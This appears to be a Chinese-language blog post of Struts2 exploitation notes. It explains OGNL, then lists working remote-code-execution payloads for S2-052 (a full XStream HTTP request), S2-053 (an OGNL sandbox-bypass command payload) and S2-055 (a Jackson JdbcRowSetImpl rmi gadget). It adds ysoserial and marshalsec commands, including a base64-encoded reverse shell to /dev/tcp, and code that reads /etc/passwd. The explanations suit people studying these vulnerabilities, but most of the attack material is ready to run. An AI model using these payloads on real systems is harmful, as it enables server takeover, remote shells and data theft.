Strust2之poc论
st2 OGNL学习
OGNL是一种表达式语言,可以通过表达式进行一些对java对象的操作,它的上下文对象可以直接使用名来访问或直接使用它的属性名访问它的属性值
API:
public static Object getValue( Object tree, Map context, Object root ) throws OgnlException;
public static void setValue( Object tree, Map context, Object root, Object value ) throws OgnlException
//expression:为我们编写的ognl表达式,从后两个参数中获取值
//context:ognl的上下文,类型为map
//root:ognl的根,可以为javabean、list、map、.... 等等很多值
就exp构写的话
1、调用类的静态方法或属性(不受root/上下文影响)
格式: @包名 + 类名@静态方法
@java.util.UUID@randomUUID()
格式: @包名 + 类名@静态变量名
@java.lang.Math@PI
2、表达式的连接是用,
3、Ognl取根元素不用#
号,取非根元素要使用#
号
4、%
的作用是在标签的属性值被理解为字符串类型时,告诉执行环境%{}
里的是OGNL表达式
5、$
在国际化资源文件中或是Struts2配置文件中引用OGNL表达式
更多详情学习:http://www.cnblogs.com/whgk/p/6600393.html
攻击payload
1、执行命令(Runtime)
Runtime.getRuntime().exec("open /Applications/Calculator.app");
2、执行命令(ProcessBuilder)
new ProcessBuilder("open","/Applications/Calculator.app").start();
3、文件读取
import java.io.*;
File file = new File("/etc/passwd");
InputStreamReader isr = new InputStreamReader(new FileInputStream(file), "utf-8");
BufferedReader br = new BufferedReader(isr);
String lineTxt = null;
while ((lineTxt = br.readLine()) != null) {
System.out.println(lineTxt);
}
br.close();
s2-052(unmarshal问题)
Struts REST的XStream handler去反序列化处理一个没有经过任何类型过滤的XStream的实例,导致在处理XML时造成远程代码执行漏洞
POST /orders;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1659
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
s2-053(OGNL问题)
Freemarker标签问题
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
s2-055(jackson反序列化问题)
因为st2的新版本还是使用存在带有漏洞的插件jackson
"{\"name\":[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"rmi://ip/Object\",\"autoCommit\":true}]}";
jackson插件是strust框架里面的一个json操作的库,其爆出过CVE-2017-7525、CVE-2017-15095,strust2就是使用了此带有漏洞的jsckson库。
CVE-2017-7525的漏洞分析:
http://docs.ioin.in/writeup/seclab.dbappsecurity.com.cn/e126d5d2-8994-4da5-ac57-f5f74d1eebaf/index.html
final String JSON = aposToQuotes(
+ "{'id': 124,\n"
++" 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n"
++" {\n"
++" 'transletBytecodes' : [ 'AAIAZQ==' ],\n"
++" 'transletName' : 'a.b',\n"
++" 'outputProperties' : { }\n"
++" }\n"
++" ]\n"
++"}"
ObjectMapper开启DefaultTyping后有任意代码执行,利用则是通过调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,getOutputProperties -> newTransformer -> getTransletInstance -> defineTransletClasses
最后实现了代码执行
其中限制较多,比如需要bean,另外jdk需要1.7
官方的修补则是黑名单的拦截了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
很不靠谱的修补方式,所以可以绕过出现了CVE-2017-15095
这个是通过com.sun.rowset.JdbcRowSetImpl
来进行命令执行,可通过rmi方式进行远程加载rmi恶意利用class
总结类型
OGNL表达式
从前面一路的更新的exp可以看到,st2的安全防御机制也在提升,绕过也是越来越麻烦。
例如s2-053中的,exp是通用的,所以显得有些长,可以拆分看看。主要分为两部分,
第一部分是为了绕过限制静态方法调用的限制
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
仔细看看,其实中间也是使用了?:
的三元表达式进行判断,这里是使用了两种方式进行对静态方式的绕过。
其中s2-032中就是使用的ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性。
第二部分是判断操作系统执行对应的命令并返回结果
(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
可以看到是先用getProperty('os.name')
进行系统判断,然后判断是调用cmd.exe还是/bin/bash,再进行命令执行。如果你知道是什么系统,就不需要进行这一步的判断。
xml的unmarshal问题
各种json解析库出现问题,是因为json <-> java对象
过程中可以调用对象,在xml <-> java对象
中,这种转换出问题就是叫unmarshal
问题
这里也有常用的一个工具:
https://github.com/mbechler/marshalsec
使用maven对工具进行编译一下
mvn clean package -DskipTests
获取exp
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO "calc" > 1.txt
如果命令有多个空格的话,提交多个
反序列化
序列化原理以及一些常见的序列化方式:
http://blog.csdn.net/sinat_32955803/article/details/51322320
利用工具:
https://github.com/frohoff/ysoserial
对于ysoserial的分析:
http://wooyun.jozxing.cc/static/drops/papers-14317.html
序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
文件头的对于序列化的标识
ysoserial调用命令使用,其中CommonsCollections5为选择的gadget
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODU4MSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
其中CommonsCollections5的选择看利用库的版本
ysoserial里面是通过Runtime.getRuntime().exec(String cmd)
去执行的命令
这里就有常见的一些问题是会导致命令执行失败的:
1、比如直接输入反弹shell的命令:bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
2、比如echo生成文件的时候:bash -i echo "aaaa">a.jsp
问题1、因为Runtime起的并不是bash环境,所以>
、&
等一些符号是没有意义的,可以通过bash -c
然后使用编码避免这个坑
问题2、exec里面会调用stringtokenizer,对\t\n\r\f
进行分割字符串,其中echo
这个字符串会被分割为一个单独的数组值给bash传参数,导致java执行失败
可以通过这个网页进行命令转换一下,就可以生成开始最上面的命令格式:
http://jackson.thuraisamy.me/runtime-exec-payloads.html
反序列话后执行成功命令